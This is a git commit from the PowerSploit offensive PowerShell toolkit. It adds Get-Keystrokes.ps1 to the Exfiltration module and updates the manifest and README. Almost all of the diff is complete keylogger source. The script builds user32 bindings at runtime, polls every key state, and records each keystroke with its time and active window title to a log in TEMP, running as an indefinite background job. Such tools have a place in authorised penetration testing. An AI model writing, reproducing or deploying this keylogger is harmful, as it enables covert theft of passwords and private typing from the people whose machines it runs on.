aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-06-30 11:15:02 -0400
committerMatt Graeber <mattgraeber@gmail.com>2013-06-30 11:15:02 -0400
commit717950d00c7cc352efe8b05c3db84d0e6250474c (patch)
treeec52de4ddd26cef989c0cd0aee8f57e8f20e69e0
parent94751bc156a28a941335e1321699b314c6466f38 (diff)
downloadPowerSploit-717950d00c7cc352efe8b05c3db84d0e6250474c.tar.gz
PowerSploit-717950d00c7cc352efe8b05c3db84d0e6250474c.zip
Added Get-Keystrokes
Get-Keystrokes is a PowerShell keylogger
-rw-r--r--Exfiltration/Exfiltration.psd12
-rw-r--r--Exfiltration/Get-Keystrokes.ps1247
-rw-r--r--README.md4
3 files changed, 252 insertions, 1 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1
index 7c65566..1d0e69d 100644
--- a/Exfiltration/Exfiltration.psd1
+++ b/Exfiltration/Exfiltration.psd1
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
- 'Usage.md'
+ 'Get-Keystrokes.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
new file mode 100644
index 0000000..0698d9d
--- /dev/null
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -0,0 +1,247 @@
+function Get-Keystrokes {
+<#
+.SYNOPSIS
+
+ Logs keys pressed, time and the active window.
+
+ PowerSploit Function: Get-Keystrokes
+ Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.PARAMETER LogPath
+
+ Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
+
+.PARAMETER CollectionInterval
+
+ Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
+
+.EXAMPLE
+
+ Get-Keystrokes -LogPath C:\key.log
+
+.EXAMPLE
+
+ Get-Keystrokes -CollectionInterval 20
+
+.LINK
+
+ http://www.obscuresec.com/
+ http://www.exploit-monday.com/
+#>
+ [CmdletBinding()] Param (
+ [Parameter(Position = 0)]
+ [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
+ [String]
+ $LogPath = "$($Env:TEMP)\key.log",
+
+ [Parameter(Position = 1)]
+ [UInt32]
+ $CollectionInterval
+ )
+
+ Write-Verbose "Logging keystrokes to $LogPath"
+
+ $Initilizer = {
+ $LogPath = 'REPLACEME'
+
+ '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode
+
+ function KeyLog {
+ [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
+
+ try
+ {
+ $ImportDll = [User32]
+ }
+ catch
+ {
+ $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
+ $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
+
+ $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
+ $FieldArray = [Reflection.FieldInfo[]] @(
+ [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
+ [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
+ )
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
+ $FieldValueArray = [Object[]] @(
+ 'GetAsyncKeyState',
+ $True,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
+ $FieldValueArray = [Object[]] @(
+ 'GetKeyboardState',
+ $True,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
+ $FieldValueArray = [Object[]] @(
+ 'MapVirtualKey',
+ $False,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
+ [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
+ $FieldValueArray = [Object[]] @(
+ 'ToUnicode',
+ $False,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
+ $FieldValueArray = [Object[]] @(
+ 'GetForegroundWindow',
+ $True,
+ $False,
+ $True,
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto
+ )
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
+ $PInvokeMethod.SetCustomAttribute($CustomAttribute)
+
+ $ImportDll = $TypeBuilder.CreateType()
+ }
+
+ Start-Sleep -Milliseconds 40
+
+ try
+ {
+
+ #loop through typeable characters to see which is pressed
+ for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
+ {
+ $VirtualKey = $TypeableChar
+ $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
+
+ #if the key is pressed
+ if (($KeyResult -band 0x8000) -eq 0x8000)
+ {
+
+ #check for keys not mapped by virtual keyboard
+ $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
+ $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
+ $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
+ $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
+ $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
+ $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
+ $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
+ $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
+ $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
+ $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
+ $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
+ $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
+ $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
+ $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
+ $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
+ $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
+ $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
+
+ if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
+ if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
+ if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
+ if ($TabKey) {$LogOutput += '[Tab]'}
+ if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
+ if ($DeleteKey) {$LogOutput += '[Delete]'}
+ if ($EnterKey) {$LogOutput += '[Enter]'}
+ if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
+ if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
+ if ($RightArrow) {$LogOutput += '[Right Arrow]'}
+ if ($UpArrow) {$LogOutput += '[Up Arrow]'}
+ if ($DownArrow) {$LogOutput += '[Down Arrow]'}
+ if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
+ if ($RightMouse) {$LogOutput += '[Right Mouse]'}
+
+ #check for capslock
+ if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
+
+ $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
+ $KeyboardState = New-Object Byte[] 256
+ $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
+
+ #create a stringbuilder object
+ $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
+ $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
+
+ #convert typed characters
+ if ($UnicodeKey -gt 0) {
+ $TypedCharacter = $StringBuilder.ToString()
+ $LogOutput += ('['+ $TypedCharacter +']')
+ }
+
+ #get the title of the foreground window
+ $TopWindow = $ImportDll::GetForegroundWindow()
+ $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
+
+ #get the current DTG
+ $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
+
+ #Create a custom object to store results
+ $ObjectProperties = @{'Key Typed' = $LogOutput;
+ 'Time' = $TimeStamp;
+ 'Window Title' = $WindowTitle}
+ $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
+
+ # Stupid hack since Export-CSV doesn't have an append switch in PSv2
+ $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
+
+ #return results
+ Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
+
+ }
+ }
+ }
+ catch {}
+ }
+ }
+
+ $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
+
+ Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
+
+ if ($PSBoundParameters['CollectionInterval'])
+ {
+ $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
+
+ Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
+ Stop-Job -Name Keylogger
+ Unregister-Event -SourceIdentifier ElapsedAction
+ $Sender.Stop()
+ } | Out-Null
+ }
+
+} \ No newline at end of file
diff --git a/README.md b/README.md
index 9d656f2..17df5bf 100644
--- a/README.md
+++ b/README.md
@@ -128,6 +128,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
**All your data belong to me!**
+#### `Get-Keystrokes`
+
+Logs keys pressed, time and the active window.
+
#### `Get-TimedScreenshot`
A function that takes screenshots at a regular interval and saves them to a folder.